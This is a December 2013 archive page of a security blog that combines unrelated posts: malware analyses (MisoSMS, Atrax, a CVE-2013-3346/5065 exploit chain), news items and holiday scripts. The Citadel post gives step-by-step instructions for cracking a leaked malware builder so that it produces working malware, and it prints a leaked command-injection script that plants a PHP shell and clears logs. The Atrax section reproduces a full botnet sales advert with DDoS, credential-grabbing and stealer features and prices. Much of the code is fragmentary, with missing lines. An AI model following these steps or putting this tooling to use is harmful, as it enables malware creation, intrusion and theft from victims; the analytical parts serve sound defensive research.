Monthly Archives: December 2013

How the protection of Citadel got cracked

Recently on a forum someone requested cbcs.exe (Citadel Backconnect Server)
If you want to read more about the Backconnect on Citadel, the link that g4m372 shared is cool:

I've searched this file thought downloading a random mirror of the Citadel leaked package in hope to find it inside.
Finally the file wasn't on the leaked archive but was already grabbed by various malware trackers.
MD5: 50A59E805EEB228D44F6C08E4B786D1E
Malwarebytes: Backdoor.Citadel.BkCnct

And since i've downloaded the leaked Citadel package... let's see about the Builder.
It can be interesting to make a post about it.

Citadel.exe: a33fb3c7884050642202e39cd7f177e0
Malwarebytes: Hacktool.Citadel.Builder
"ERROR: Builder has been moved to another PC or virtual environment, now it is deactivated."

This file is packed with UPX:

Same for the Citadel Backconnect Server and the Hardware ID generator.
But when we try to unpack it via UPX we have an exception:

UPX told us that there is something wrong with the file header, aquabox used a lame trick.
With an hexadecimal editor we can clearly see that there is a problem with the DOS Header:

We have 0x4D 0x5A ... 00 ... and a size of 0xE8 for the memory.
e_lfanew is null, so let's fix it at 18h by 0x40

Same tricks for the Hardware ID Calculator and the Citadel Backconnect Server, i will get back on these two files later.
Now that we have a clear code we can know the Time/Date Stamp, view the ressources, but more interesting: see how Citadel is protected

Viewing the strings already give us a good insight:
PHYSICALDRIVE0, Win32_BIOS, Win32_Processor, SerialNumber...

But we don't even really need to waste time trying to know how the generation is made.
Although you can put a breakpoint at the beginning of the calculation procedure (0x4013F2)
At the end, you will be here, this routine will finalise your HID:

From another side, you can also have a look on the Hardware ID Calculator.

I've got a problem with this file, the first layer was a SFX archive:

Malware embedded (stealer):

Conclusion: Don't rush on leaked stuff.

Alright, now that you have extracted/unpacked the good HID Calculator you can open it in olly.
The code is exactly the same as the one you can find on the Citadel Builder, it may help to locate the calculation procedure on the builder although it's really easy to locate it.

That was just a short parentheses, to get back on the builder, after that the generation end you will have multiple occasions to view your HID on the stack like here:
And the crutial part start here.

When the Citadel package of Citab got leaked (see this article for more information) an important file was also released:

The HID of the original machine who was running the builder, so you just have to replace your HID by this one, just like this:

And this is how the protection of Citadel become super weak and can generate working malwares
Now you just have to do a codecave or inject a dll in order to modify it permanently, child game.

The problem that every crackers was facing on leaked Citadel builders is to find the good HID key.
Citadel builders who was previously leaked wasn't leaked with HID key.
e.g: vortex1772_second -

And you can't just 'force' the procedure to generate a bot because the Citadel stub is encrypted inside, that why when the package got leaked with the correct HID, a easy way to crack the builder appeared.
Without having the good HID you can still bruteforce it till you break the key but this is much harder and time wasting, this solution would be also a more great achievement and respected in scene release.

To finish, let's get back on the Citadel backconnect server who was requested on

This script was also leaked with the Citab package:

It's for Windows box, and it's super secure... oh wait..
import urllib
import urllib2

def request(url, params=None, method='GET'):
    if method == 'POST':
        urllib2.urlopen(url, urllib.urlencode(params)).read()
    elif method == 'GET':
        if params == None:
            urllib2.urlopen(url + '?' + urllib.urlencode(params)).read()

def uploadShell(url, filename, payload):
    data = {
        'b'  : 'tapz',
        'p1' : 'faggot',
        'p2' : 'hacker | echo "' + payload + '" >> ' + filename
    request(url + 'test.php', data)

def shellExists(url):
    return urllib.urlopen(url).getcode() == 200
def cleanLogs(url):
    delete = {
        'delete' : ''
    request(URL + 'control.php', delete, 'POST')

URL      = 'http://localhost/citadel/winserv_php_gate/'
FILENAME = 'shell.php'
PAYLOAD  = '<?php phpinfo(); ?>'

print '[~] Shell created!'
if not shellExists(URL + FILENAME):
    print '[-]', FILENAME, 'not found...'
    print '[+] Go to:', URL + FILENAME
print '[~] Logs cleaned!'

Brief, happy new year guys :)

Episode #173: Tis the Season

Hal finds some cheer
From somewhere near the borders of scriptistan, we send you:
function t { 
for ((i=0; $i < $1; i++)); do
s=$((8-$i)); e=$((8+$i));
for ((j=0; j <= $e; j++)); do [ $j -ge $s ] && echo -n '^' || echo -n ' '; done;
function T {
for ((i=0; $i < $1; i++)); do
for ((j=0; j < 10; j++)); do [ $j -ge 7 ] && echo -n '|' || echo -n ' '; done;
t 3; t 5; t 7; T 2; echo -e "Season's Greetings\n from CLKF"

Ed comes in out of the cold:

Gosh, I missed you guys.  It's nice to be home with my CLKF family for the holidays.  I brought you a present:

c:\>cmd.exe /v:on /c "echo. & echo A Christmas present for you: & color 24 & 
echo. & echo 0x0& for /L %a in (1,1,11) do @(for /L %b in (1,1,10) do @ set /a
%b%2) & echo 1"& echo. & echo Merry Christmas!

Tim awaits the new year:

Happy New Year from within the borders of Scriptistan!

Function Draw-Circle {
Param( $Radius, $XCenter, $YCenter )

for ($x = -$Radius; $x -le $Radius ; $x++) {
$y = [int]([math]::sqrt($Radius * $Radius - $x * $x))
Set-CursorLocation -X ($XCenter + $x) -Y ($YCenter + $y)
Write-Host "*" -ForegroundColor Blue -NoNewline
Set-CursorLocation -X ($XCenter + $x) -Y ($YCenter - $y)
Write-Host "*" -ForegroundColor Blue -NoNewline

Function Draw-Hat {
Param( $XCenter, $YTop, $Height, $Width, $BrimWidth )

$left = Round($XCenter - ($Width / 2))
$row = "#" * $Width
for ($y = $YTop; $y -lt $YTop + $Height - 1; $y++) {
Set-CursorLocation -X $left -Y $y
Write-Host $row -ForegroundColor Black -NoNewline

Set-CursorLocation -X ($left - $BrimWidth) -Y ($YTop + $Height - 1)
$row = "#" * ($Width + 2 * $BrimWidth)
Write-Host $row -ForegroundColor Black -NoNewline

Function Set-CursorLocation {
Param ( $x, $y )

$pos = $Host.UI.RawUI.CursorPosition
$pos.X = $x
$pos.Y = $y
$Host.UI.RawUI.CursorPosition = $pos

Function Round {
Param ( $int )
# Stupid banker's rounding
return [Math]::Round( $int, [MidpointRounding]'AwayFromZero' )

Write-Host "Happy New Year!"
Draw-Circle -Radius 4 -XCenter 10 -YCenter 8
Draw-Circle -Radius 5 -XCenter 10 -YCenter 17
Draw-Circle -Radius 7 -XCenter 10 -YCenter 29
Draw-Hat -XCenter 10 -YTop 2 -Height 5 -Width 7 -BrimWidth 2
Set-CursorLocation -X 0 -Y 38


DrWeb released a news about this malware in August, they know it as 'Trojan.WPCracker.1'
And more recently ~ 1e8cd0f0f1702820c870302520bc0176.

This executable communicate with a C&C at
Let's have a closer look.



Bot info:

Broken wordpress:


Add domains:

Add admin panels:

Add logins:

Add passwords:

Add module for jm(zip):

Add module for wp(zip):

Add shell jm(php):

Cron brute:

Ban list:


Domains list (downloaded by the malware to know wich wordpress he should brute force):
36k urls.

Roman of have also wrote an interesting post about this threat.

Advanced Malware Analysis Training Session 11 – (Part 2) Dissecting the HeartBeat RAT Functionalities

Here is the quick update on this month’s Local Security meet (SX/Null/G4H/owasp) and our advanced malware training session on (Part 2) Dissecting the HeartBeat  RAT Functionalities   This is part of our FREE ‘Advanced Malware Analysis Training’ series started from Dec 2012.       In this extended session, I explained “Decrypting various Communications Of HeartBeat […]

MisoSMS: New Android Malware Disguises Itself as a Settings App, Steals SMS Messages

FireEye has uncovered and helped weaken one of the largest advanced mobile botnets to date. The botnet, which we are dubbing “MisoSMS,” has been used in at least 64 spyware campaigns, stealing text messages and emailing them to cybercriminals in China.

MisoSMS infects Android systems by deploying a class of malicious Android apps. The mobile malware masquerades as an Android settings app used for administrative tasks. When executed, it secretly steals the user’s personal SMS messages and emails them to a command-and-control (CnC) infrastructure hosted in China. FireEye Mobile Threat Prevention platform detects this class of malware as “Android.Spyware.MisoSMS.”

Here are some highlights of MisoSMS:

  • We discovered 64 mobile botnet campaigns that belong to the MisoSMS malware family.
  • Each of the campaigns leverage Web mail as its (CnC) infrastructure.
  • The CnC infrastructure comprises more than 450 unique malicious email accounts.
  • FireEye has been working with the community to take down the CnC infrastructure.
  • The majority of the devices infected are in Korea, which leads us to believe that this threat is active and prevalent in that region.
  • The attackers logged in from Korea and mainland China, among other locations, to periodically read the stolen SMS messages.

MisoSMS is active and widespread in Korea, and we are working with Korean law enforcement and the Chinese Web mail vendor to mitigate this threat. This threat highlights the need for greater cross-country and cross-organizational efforts to take down large malicious campaigns.

At the time of of this blog post, all of the reported malicious email accounts have been deactivated and we have not noticed any new email addresses getting registered by the attacker. FireEye Labs will closely monitor this threat and continue working with relevant authorities to mitigate it.

Technical Analysis

Once the app is installed, it presents itself as “Google Vx.” It asks for administrative permissions on the device, which enables the malware to hide itself from the user, as shown in Figure 2.


The message in Figure 3 translates to the following:

“This service is vaccine killer \nCopyright (c) 2013”


Once the user grants administrator privileges to the app, the app shows the message in Figure 3, which translates to “The file is damaged and can’t use. Please check it on the website”” and an OK button. Then is asks the user to confirm deletion, ostensibly offering the option to Confirm or Cancel. If the user taps Confirm, the app sleeps for 800 milliseconds then displays a message that says “Remove Complete.” If the users taps Cancel, the app still displays the “Remove Complete” message.

In either case, the following API call is made to hide the app from the user.



MainActivity.this.getComponentName(), 2, 1);

This application exfiltrates the SMS messages in a unique way. Some SMS-stealing malware sends the contents of users SMS messages by forwarding the messages over SMS to phone numbers under the attacker’s control. Others send the stolen SMS messages to a CnC server over TCP connections. This malicious app, by contrast, sends the stolen SMS messages to the attacker's email address over an SMTP connection. Most of the MisoSMS-based apps we discovered had no or very few vendor detections on VirusTotal.

The app initially sends an email with the phone number of the target’s device in the message body. This is shown in the screenshot capture below.



The malicious app creates a database called “soft_data” at install time. It also creates a database table by executing the SQL query below.

paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS ulccd(id varchar(50),sender varchar(50),date varchar(20),content varchar(500))");

The application registers a service for the SMS_RECEIVED intent. Once it receives the intent, the app invokes a call to the com.mlc.googlevx.SinRecv.onGetMsg() method. The moment a MisoSMS-infected device receives an SMS, the method extracts the contents of that SMS and creates the key-value pairs as follows:

("sender", this.val$str1);              // Phone number of the sender of the SMS

("content", this.val$str2);             // Content of the SMS message

("date", this.val$str3);                // Date of the SMS

("id", "1");                            // Hardcoded identifier

("key",;                // Device ID

("op", "Add");                          // Operation to be performed “Add” indicates SMS to be added

("phone_number", xdataStruct.selfnum);  // Phone number of the infected user

The above data is recorded and an email message is sent out with the subject line set to the phone number of the infected device. The body of the email message contains the phone number of the device that sent a message to the infected device and its contents. Figure 6 below shows a packet capture of this data as it is sent.


If the sending of the email fails, it logs the SMS messages in the soft_data database.

The application also starts three services in the background once the app is installed and started: RollService, MisoService, and BaseService.


This service initiates a sleep call for the first five minutes of execution. Once the sleep call is complete, RollService polls the soft_data database and tries to send any SMS data that failed to send earlier. Once it sends the information successfully, RollService deletes that data from the soft_data database.


Once started, MisoService spawns a thread in the background. This thread is responsible for replaying information to the CnC channel. Messages are replayed using data structures that are converted into byte streams. The components of those structures are shown below:

Replay Structure:


public final int Request_BookInfo_len = 70;


public final int Request_Head_Len = 95;

public final int Request_RecPhoneInfo_Len = 8;

public Vector<RequestStruct_BookInfo> book_list = new Vector(); contains

              public String book_name = "";

public String book_num = "";

public RequestStruct_Head data_head = new RequestStruct_Head(); contains

              public String android_id = "";

              public int book_count = 0;

public short client_version = 1;

public byte is_back_door = 0;

public String os_version = "";

public short phone_book_state = 0;

public String phone_model = "";

public String phone_num = "";

public short sms_rec_phone_count = 0;

public int sms_task_id = 0;

public Vector<RequestStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains

              public int reccode = 0;  public int recphoneid = 0;

Request Structure:

public final int Replay_Head_Len = 583;

public final int Replay_NewAddr_Len = 261;

public final int Replay_RecPhone_len = 24;

public ReplayStruct_Head data_head = new ReplayStruct_Head(); contains

            public byte is_send_book = 0;

public byte is_uninstall_backdoor = 0;

public byte is_upbook = 0;

public byte is_update = 0;

public String last_client_url = "";

public short last_client_url_len = 0;

public short last_client_version = 1;

public short new_addr_count = 0;

public short reconn_deply = 300;

public String sms_task_content = "";

public int sms_task_id = 0;

public short sms_task_rec_phone_count = 0;

public Vector<ReplayStruct_NewAddrInfo> new_addr_list = new Vector(); contains

            public short new_addr_len = 0;

public int new_addr_port = 8080;

public String new_addr_url = "";

public Vector<ReplayStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains


            public int rec_phone_id = 0;

public String rec_phone_num = "";

Once MisoService is initiated, it checks whether the phone is connected to the Internet and the cellular network. If so, it sends a byte array formed by the request data structure shown above. It then makes a copy of data from the request structure into the replay structure and sends the byte array of the request structure via SMS.

The phone number for this SMS is not specified in the code, so these messages are not sent for the time being. But all of this information is logged into the soft_data database, and an update to the app will send the SMS and the above-mentioned data. MisoService also uses an embedded source object called to perform socket connections to the SMTP server using Java Native Interfaces. This shared object is unique to this malware family, which is  why we named this malware Android.Spyware.MisoSMS.

Here is an excerpt of the code for the MisoService:



static {







static byte[] access$1(byte[] arg1) {

        return MisoService.jndkAction(arg1);





private static native byte[] jndkAction(byte[] arg0) {




public void onCreate() {




new Thread() {

public void run() {



                        while(true) {

                                    if((BaseSystem.isNetworkAvailable(MisoService.this.context)) &&


                                    (BaseSystem.isPhoneAvailable(MisoService.this.context))) {


                                                if(BaseSystem.android_id.equals("")) {




MisoData.request_data.data_head.android_id = BaseSystem.android_id;

                                   MisoData.request_data.data_head.phone_model = BaseSystem.phone_model;

                                    MisoData.request_data.data_head.os_version = BaseSystem.os_version;

                                    MisoData.request_data.data_head.phone_num = BaseSystem.phone_num;

                                    byte[] v0 = MisoService.jndkAction(NetDataCover.RequestToBytes(MisoData.request_data ));


                                    if(v0 != null) {


                                                MisoData.replay_data = NetDataCover.BytesToReplay(v0);



                        if(MisoData.replay_data.data_head.sms_task_rec_phone_count != 0) {



                        SystemClock.sleep(((long)(MisoData.replay_data.data_head.reconn_deply * 100 )));








The value for MisoData.replay_data.data_head.reconn_deply is set to 300, putting the service to sleep for 30 seconds between retries.


The base service ensures that RollService and MisoService do not stop running. The BaseBootReceiver class also uses BaseService to start the other two service if the device reboots.

BaseService.this.startService(new Intent(BaseService.this.context, RollService.class));

BaseService.this.startService(new Intent(BaseService.this.context, MisoService.class));


MisoSMS is one of the largest mobile botnets that leverages modern botnet techniques and infrastructure. This discovery, coupled with the other discoveries from FireEye, highlights the importance of mobile security and the quickly changing threat landscape.

Data, data everywhere! Where it comes from, nobody really knows?

While there are still a few weeks left in 2013, it has already been the most severe in terms of data breaches in the last 10 years with over 705 million records lost. In addition, 4 of the top 10 data breaches of all time happened in 2013, with the top spot now belonging to Adobe (at least for the moment).

The Adobe breach was discovered and brought to light by Brian Krebs and information security researcher Alex Holden back in October (Brian Krebs is an Advisor to Alex Holden’s company). When the leak was first announced it was said to be about 2.9 million records but soon after the figure changed to what is now confirmed to be approximately 152 million records. Adobe has commented on the amount of data and users impacted a few times, and is expected to provide an update when their investigations are completed. The data has been stated to have a lot of duplicates as well as false data including usernames (email addresses) and encrypted passwords. This data was allegedly obtained directly from Adobe’s servers by unknown hackers who are also said to have obtained data from several other well known sites as well.

Early investigations by Krebs appear to have uncovered major breaches after they obtained the complete database of SSNDOB, an underground carding and personal information website. The SSNDOB investigation uncovered a lot of high profile names like LexisNexis Inc., Dun & Bradstreet, and Kroll Background America, Inc. all of which were hacked and used as a massive database for the SSNDOB website. In addition, another was the Cupid Media breach which exposed 42 million accounts and according to Brian Krebs was found on the same server as the Adobe data as well as NW3CM and PR News Wire.

One item which does not seem to be fully addressed is how Brian Krebs and Alex Holden were able to obtain this data. In one of the posts, there was a mention that they“discovered a massive 40 GB source code trove stashed on a server” but still their methods were not abundantly clear. There are several deep web monitoring services available and we have confirmed that at some point the Adobe data was available for purchase for a whopping $6 dollars. However, speculation in some circles have been that this data was originally acquired from a private server and therefore to obtain the data they would have had to have illicit access to the server themselves.

Regardless of the method used to obtain the data, at this point what they have done is help to raise the awareness of several massive breaches that have impacted millions of people around the world. As we move forward, was this type of discovery a one off or will we see more data breach disclosure in this fashion?

Interview with Champ Clark – Episode 356, Part 1 – December 12, 2013

Champ Clark, also know as "Da Beave" in some circles, is the CTO of Quadrant Information Security headquartered in Jacksonville, Florida. He is one of the founding members of the VoIP hacking group Telephreakand runs the Deathrow OpenVMS cluster. He has co-authored books published by Syngress Publishing and has been interviewed by various magazines. He has spoken at conferences on topics such as "war dialing" the world with VoIP, exploring X.25 networks around the world, and most recently, real time log analysis with "Sagan", software he developed.

Interview with Jens ‘Atom’ Steube, ScriptAlert1 with Thomas KacKenzie & Ryan Dewhurst – Episode 355, Part 1 – December 5, 2013

Before Jens 'Atom' Steube wrote hashcat, he was a bug hunter for fun, focusing on open source software. After 2005 he only did bug hunting on commercial software and therefore not allowed to disclose product names. In 2010 he started hashcat and since that time it's the only project he's been working on.

Thomas MacKenzie works for NCC Group as a Security Consultant, conducting all different types of security assessments. Ryan Dewhurst works for NCC Group as a Security Consultant, conducting all different types of security assessments. is a very simple and concise platform to explain Cross-Site Scripting, it's dangers and mitigation. Our aim is for penetration testers to include a link in their pen test reports to the resource and to get it to be the de facto description for semi-technical/tech savvy managers.

CVE-2013-5332 (air, air_sdk, flash_player)

Adobe Flash Player before 11.7.700.257 and 11.8.x and 11.9.x before 11.9.900.170 on Windows and Mac OS X and before on Linux, Adobe AIR before, Adobe AIR SDK before, and Adobe AIR SDK & Compiler before allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors.

CVE-2013-5331 (air, air_sdk, flash_player)

Adobe Flash Player before 11.7.700.257 and 11.8.x and 11.9.x before 11.9.900.170 on Windows and Mac OS X and before on Linux, Adobe AIR before, Adobe AIR SDK before, and Adobe AIR SDK & Compiler before allow remote attackers to execute arbitrary code via crafted .swf content that leverages an unspecified "type confusion," as exploited in the wild in December 2013.


Atrax is a TOR botnet, you can read about it on the excellent post of Aleksandr.
Someone on posted recently a fresh sample:
MD5: 44a6a7d4a039f7cc2db6e85601f6d8c1

Fun things also, the coder leaved a message:
"Nice blog post ESET 2013/07/24 Greetz to"

Atrax advertising:
Programming language: C (No C++!)
OS: Win XP - 8.1 (all x86/x64)
Admin rights required: No
Special: Tor Integration, spawns no process -> x64/x86 Process injection, this is the first public bot which supports windows 8!
File size: ~1,2 MB (because of Tor integration and x64/x86 Code), you can get a free assembler web downloader ~2KB

Why Tor?
The bot communicates only via Tor with your panel. With Tor you can get a really nice anonymous Botnet. It is almost impossible (well, theoretically it is possible, but Silkroad is still online, so don’t worry) to get your server ip and put your server down. You get a Tor onion domain and this domain cannot be blacklisted (lasts “forever”). So to sum up: If you don’t do any configuration mistakes, your botnet will probably last very long.
You need a VPS or a dedicated server to host this tor botnet, because you need to set up a hidden service. Because of tor the botnet is consuming more hardware resources than typical botnets. Probably it is not possible to get a 10 Dollar/year VPS and trying to host over 1k victims.

Setting up hidden service instructions:
- A little manual to set it up on debian based linux systems is included

The bot consist of a core and various plugins/addons. Each plugin/addon costs some money. Every plugin also communicates over tor.
(If somebody is interested in developing a plugin -> contact me)

Some basic features:
- Autostart, Persistence
- x86/x64 Code, x86/x64 Injection with Heavens Gate technique
- Anti-Analyzer (Protection against e.g.,
- If you need: Anti-VM (Please request it explicitly)
- Anti-Debug/Anti-Hook Engine
- Doesn't use suspicious windows apis like GetProcAddress/GetModuleHandle
- Plugins are saved to disk with AES-128-CBC encryption (random key)
- Communication over tor is already encrypted, so no extra communication encryption
- Every Plugin and the core is watermarked. Leak -> No updates/support. (All updates are free)
- Everything UNICODE

- Login Bruteforce protection, panel will be locked after x failed logins (captchas are not secure)
- SQL-Injection proof
- No IonCube

Standard Features:
- Kill
- Update
- Download (over Tor), Execute (Commandline-Parameter allowed)
- Download (over Tor), Execute (Commandline-Parameter allowed) in memory (Your file doesn't need to be FUD)
- Install Plugin
- Installation List (A list with all installed applications)

The Core has only a few functions, but they are already pretty useful. Yes you can e.g. start your own uncrypted Bitcoin Miner with the "Download over Tor, Execute Memory" function.
I will give you a plain bitcoin miner exe or just use the binaries you can find in this board.

A bot addon is integrated in the main EXE, so no extra file.
A bot plugin is not integrated, you will receive extra file(s).

Addon - DDOS:
- Full IPv6 ´+ IPv4 support.
- UDP Flood
- TCP Flood
- TCP Connect Flood (Some idiots call this "SYN-Flood")
- HTTP Slowloris (based on
- HTTP RUDY (R-U-Dead-Yet, based on
- HTTP File Download (Good if your target hosts a file >1MB)
- If you need some more methods, contact me.

Addon - Form Grabber:
- Firefox, Internet Explorer x86/x64, Chrome SSL HTTP POST Grabber
- Anti-Hook Engine (Removes hooks from other bots)
- Own Hook Engine (No copy/paste crap)
- Tested with Browser: Internet Explorer v7/v9/v10, Firefox v11/v21/v22/v24, Chrome v27/v30
- Tested with Website: PayPal, Amazon,, Mt. Gox, eBay, Googlemail, vBulletin Boards
- SPDY v3 support
- IE 7/8/9/10 (Enhanced) Protected Mode Support
- Grabs only important POST Form Requests.
- Searches automatically for Username/Password/Email and CC (Possible CC will be displayed in panel)
- Screenshot:

Addon - Socks 5 Reverse Socks:
- You need a 2nd VPS/dedicated Server to keep your main C&C server secure!
- Server is a Java application to achieve complete platform independence -> All OS supported!
- Socks 5 with and without authentication
- Controlled via tasks
- You can run different instances of the proxy sever for different purposes
- Works on all clients because it is a reverse socks (No SSH crap!)
- Panel screenshot:

Plugin - Stealer:
- Steals all current browser versions.
- If you need something more -> ask me.
- Special: JDownloader v1/v2, Bitcoin Wallet Stealer (whole wallet.dat will be uploaded), IE10 + IE11 support!

Plugin - Coin Mining (Experimental)
- Bitcoin / Litecoin Miner
- Hash Rate displayed in panel
- Based on Ufasoft Miner v0.68 (updated regularly)
- Mining with tasks

Core: $250 (Launch price! Read information below)
Addon DDOS: $90
Addon Form Grabber: $300
Addon Reverse Socks: $400
Plugin Stealer: $110
Plugin Coin Mining: $140 (Experimental)

Payment only with Bitcoin. Market price from "Current Bitcoin price" - 10%, because of high exchange rate fluctuations!
Bugfix Updates and Support is free of course.
Please keep in mind: This Core Price will be higher soon. This Bot is currently in beta stage, so probably there are still some bugs. Get it now pay less + maybe bugs, wait: pay more and bot is stable

- Builder available?
No, your tor domain will last forever if you don't lose the RSA key.

- Is the bot bin FUD?
No, you need a crypter. This bot should work with all crypters, but .NET Crypters are special. Tell me what .NET crypter you want to use and we will see.
I can give you a free .NET Crypter to get you started!

- The bot is too expensive, noob!
I don't care if you think it is too expensive.

- The filesize sucks, noob!
I don't care.

Alright, let's have a look on the C&C of the sample posted on kernelmode.
estrgnejb7sjly7p.onion >>
The httpd is not properly configured to run with the IP
So, let's have a look from TOR.



Plugin statistics:

Spreader statistic:


Bot legend:

Bot information:

AtraxStealer plugin logs:

Formgrabber plugin logs:

Formgrabber plugin logs detail:



Create a new task:

Task setting for 'Download & Execute':

Task execution:

Edit a task:


CVE-2013-3346/5065 Technical Analysis

In our last post, we warned of a new Windows local privilege escalation vulnerability being used in the wild. We noted that the Windows bug (CVE-2013-5065) was exploited in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to evade the Reader sandbox. CVE-2013-3346 was exploited to execute the attacker’s code in the sandbox-restricted Reader process, where CVE-2013-5065 was exploited to execute more malicious code in the Windows kernel.

In this post, we aim to describe the in-the-wild malware sample, from initial setup to unrestricted code execution.

CVE-2013-3346: Adobe Reader ToolButton Use-After-Free

CVE-2013-3346 was privately reported to ZDI by Soroush Dalili, apparently in late 2012. We could fine no public description of the vulnerability. Our conclusion that the sample from the wild is exploiting CVE-2013-3346 is based upon the following premises:

  1. The sample contains JavaScript that triggers a use-after-free condition with ToolButton objects.
  2. CVE-2013-3346 is a use-after-free condition with ToolButton objects.
  3. The Adobe Reader patch that addresses CVE-2013-3346 also stops the in-the-wild exploit.
  4. CVE-2013-3346 Exploitation: Technical Analysis

    The bug is a classic use-after-free vulnerability: Within Javascript, nesting ToolButton objects and freeing the parent from within child callbacks results in a stale reference to the freed parent. More specifically, the invalid free can be triggered as follows:

    1. Make a parent ToolButton with a callback CB
    2. Within the callback CB, make a child ToolButton with a callback CB2
    3. Within the callback CB2, free the parent ToolButton
    4. The sample from the wild exploits the bug entirely from JavaScript. The code sets up the heap, builds ROP chains, builds shellcode, and triggers the actual bug. The only component of the attack that wasn’t implemented in JavaScript is the last-stage payload (executable file).

      The exploit script first chooses some parameters based upon the major version of Reader (version 9, 10, or 11):

      • ROP Chain
      • Size of corrupted object
      • Address of pivot in heap spray
      • The address of a NOP gadget

      Next, it sprays the heap with the return-oriented programming (ROP) attack chain and shellcode, triggers the freeing, and fills the hole left by the freed object with a pivot to the ROP attack chain.

      The freed hole is filled with the following:

      000: 41414141 ;; Padding

      01c: 0c0c08e4 ;; Address of pivot in heap spray

      020: 41414141 ;; More padding

      37c: 41414141 ;; The size of the object is a version-specific parameter

      The pivot can be observed with the following windbg breakpoint:

      bp 604d7699 "!heap -p -a @esi; dd @esi-1c; .if (@eax != 0x0c0c08e4) { gc; }"

      The following code shows the object before corruption:

          address 02668024 found in

      _HEAP @ 1270000

      HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

      02668000 0071 0000 [01] 02668008 0037c - (busy)

      02668008 01278420 00000000 00000002 02a24008

      02668018 02763548 00000360 02668008 60a917d4

      02668028 00000000 60a917a8 00000000 00000000

      02668038 60a91778 00000000 60a91768 0133ded4

      02668048 00000001 01d9eb60 00000001 02668024

      02668058 00000000 00000000 00000000 00000000

      02668068 00000000 00000000 00000000 00000000

      02668078 02f32e5c 00000002 00000004 00000000

      After corruption, the freed hole has been filled by padding and the address into the heap at object plus 0x1c as follows:

          address 02668024 found in

      _HEAP @ 1270000

      HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

      02668000 0071 0000 [01] 02668008 0037c - (busy)

      02668008 41414141 41414141 41414141 41414141

      02668018 41414141 41414141 41414141 0c0c08e4

      02668028 41414141 41414141 41414141 41414141

      02668038 41414141 41414141 41414141 41414141

      02668048 41414141 41414141 41414141 41414141

      02668058 41414141 41414141 41414141 41414141

      02668068 41414141 41414141 41414141 41414141

      02668078 41414141 41414141 41414141 41414141

      The heap-spray address points to the address of the pivot minus 0x328. This is because of the following instruction, which calls the address plus 0x328 as follows:

      604d768d 8b06            mov     eax,dword ptr [esi]

      604d7699 ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=90e0824a

      1:009> dd @eax+0x328

      0c0c0c0c 4a82e090 4a82007d 4a850038 4a8246d5

      0c0c0c1c ffffffff 00000000 00000040 00000000

      0c0c0c2c 00001000 00000000 4a805016 4a84420c

      0c0c0c3c 4a814241 4a82007d 4a826015 4a850030

      0c0c0c4c 4a84b49d 4a826015 4a8246d5 4a814197

      0c0c0c5c 00000026 00000000 00000000 00000000

      0c0c0c6c 4a814013 4a84e036 4a82a8df 41414141

      0c0c0c7c 00000400 41414141 4a818b31 4a814197

      And the pivot is set at 4a82e090, which sets the stack pointer to the attacker’s ROP chain as follows:

      1:009> u 4a82e090


      4a82e090 50 push eax

      4a82e091 5c pop esp

      4a82e092 c3 ret

      The exploit plays out in stages.

      Stage 1: ROP

      The exploit uses ROP to circumvent data execution prevention (DEP) features. All of the gadgets, including the pivot, are from icucnv40.dll. The ROP chain is one of three chains chosen by Reader major version (9, 10, or 11). The attacker uses a heapspray to place the pivot, ROP chain, and shellcode at predictable addresses. The ROP chain:

      1. Maps RWX memory with kernel32!CreateFileMappingA and kernel32!MapViewOfFile
      2. Copies Stage 2 shellcode to RWX memory with MSVCR90!memcpy
      3. Executes the shellcode
      4. Stage 2: Shellcode

        The shellcode exploits CVE-2013-5065 to set the privilege level of the Reader process to that of system, and then decodes an executable from the PDF, writes it to the temporary directory, and executes it.

        Shellcode Technical Analysis

        First, the shellcode copies a Stage 2.1 shellcode stub to RWX memory mapped to the null page.

        0af: ntdll!NtAllocateVirtualMemory RWX memory @ null page

        180: Copy privileged shellcode to RWX memory

        183: Add current process ID to privileged shellcode

        Next, the shellcode exploits CVE-2013-5065 to execute the Stage 2.1 shellcode in the context of the Windows kernel as follows:

        19b: Trigger CVE-2013-5065 to execute stage 2.1 from kernel

        - :



        303: Stage 2.1 shellcode begins

        3d6: PsLookupProcessByProcessId to get EPROCESS structure for Reader process

        3e5: PsLookupProcessByProcessId to get EPROCESS structure for system

        3f9: Copy EPROCESS.Token from system to Reader

        3fd: Zero the EPROCESS.Job field

        This process is documented well in a paper (PDF download) from security researcher Ronnie Johndas.

        After returning from the kernel, the shellcode iterates over potential handle values, looking for the encoded PE file embedded within the PDF as follows:.

        ...: Find open handle to the PDF file by iterating over potential

        ...: handle values (0, 4, 8, ...) and testing that:

        212: The handle is open and to a file with kernel32!SetFilePointer

        21e: The file size is less than 0x1000 bytes with kernel32!GetFileSize

        239: It begins with "%PDF" with kernel32!ReadFile

        257: Allocate memory with kernel32!VirtualAlloc and

        262: Read the PDF into memory with kernel32!ReadFile

        26f: Find the encoded PE file by searching for 0xa0909f2 with kernel32!ReadFile

        The shellcode decodes the PE file using the following algorithm and writes it to disk:

        def to_u8(i):

        if i >= 0: return i

        return 0xff + i + 1

        buf = buf[4:] # Skip the first four bytes

        for i in xrange(len(buf)):

        c = ord(buf[i])

        c -= ((i)**2)&0xff # Subtract index^2 from character

        c = to_u8(c) # convert python number to uint8

        c ^= 0xf3 # xor character with 0xf3



        28f: Decode the PE file (algorithm supplied below)

        2ad: Get the path to the temporary directory with kernel32!GetTempPathA

        2bb: Request a temporary file with kernel32!GetTempFileNameA

        2dd: Open the temporary file with kernel32!CreateFileA

        2f0: Write decoded PE to temporary file with kernel32!WriteFile

        2f4: Close the file

        The shellcode executes the decoded PE file as follows:

        2fe:	kernel32!WinExec "cmd /c "


        JavaScript Obfuscation & Evasions

        JavaScript analysis engines often emulate suspect code to de-obfuscate it for further analysis. If the JavaScript emulation environment doesn’t match the real environment (that is, JavaScript in Adobe Reader during exploitation), then the attacker can detect a discrepancy and abort the exploitation to prevent detection. The exploit implementation begins with the following instruction, what appears to be emulation-evasion code that causes the script to crash within emulation systems such as jsunpack:

        if( >= 1)


        The attacker used a public tool ( with "global variable name" = "Q") to obfuscate the exploit. It works by building a dictionary that maps wonky names to hex digits as follows:

